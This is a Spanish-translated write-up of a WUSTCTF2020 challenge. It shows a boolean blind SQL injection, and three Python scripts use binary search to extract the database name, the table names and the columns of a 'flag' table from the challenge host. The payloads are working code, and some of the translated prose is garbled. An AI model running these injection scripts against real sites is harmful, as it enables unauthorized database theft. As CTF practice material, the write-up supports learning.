[WUSTCTF2020] Consulta de resultados de valor nominal

[WUSTCTF2020] Consulta de resultados de valor nominal

Inyección entera, inyección ciega.

Velocidad rápida, debemos dicotomía.

Explotar nombre de biblioteca: ctf

Carga útil central de dicotomía

"if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)
import requests
url = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.buuoj.cn/?stunum="

result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
		r = requests.get(url+payload)
		r.encoding = "utf-8"
		#print(url+payload)
		if "your score is: 100" in r.text :
			head = mid + 1
		else:
			#print(r.text)
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

Los resultados del eco se refieren a la siguiente figura:

image-20200414224348796

Reloj de ráfaga

bandera, puntaje

import requests
url = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.buuoj.cn/?stunum="

result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		#payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
		payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)

		r = requests.get(url+payload)
		r.encoding = "utf-8"
		#print(url+payload)
		if "your score is: 100" in r.text :
			head = mid + 1
		else:
			#print(r.text)
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

Los resultados del eco se refieren a la siguiente figura:

image-20200414224405361

Listado de ráfaga

Explota dos campos, bandera y valor

import requests
url = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.buuoj.cn/?stunum="

result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		#payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
		#payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)
		payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i , mid)

		r = requests.get(url+payload)
		r.encoding = "utf-8"
		#print(url+payload)
		if "your score is: 100" in r.text :
			head = mid + 1
		else:
			#print(r.text)
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

image-20200414224752972

Ráfaga de información

La tabla de marca tiene dos campos de bandera y valor

Campo de bandera de ráfaga

El resultado cuando estalla es el siguiente, no se adivina ninguna marca en el campo de valor.

image-20200414225005339

Explota el campo de valor y descubre que está en el campo de valor. Si no hay pintura, tienes que explotar otra cosa.

También hay una dicotomía, que debe ser dicotomía. De lo contrario, si encuentras algunos problemas, puedes terminar el juego y terminar.

image-20200414225212551

Supongo que te gusta

Origin www.cnblogs.com/h3zh1/p/12702001.html
Recomendado
Clasificación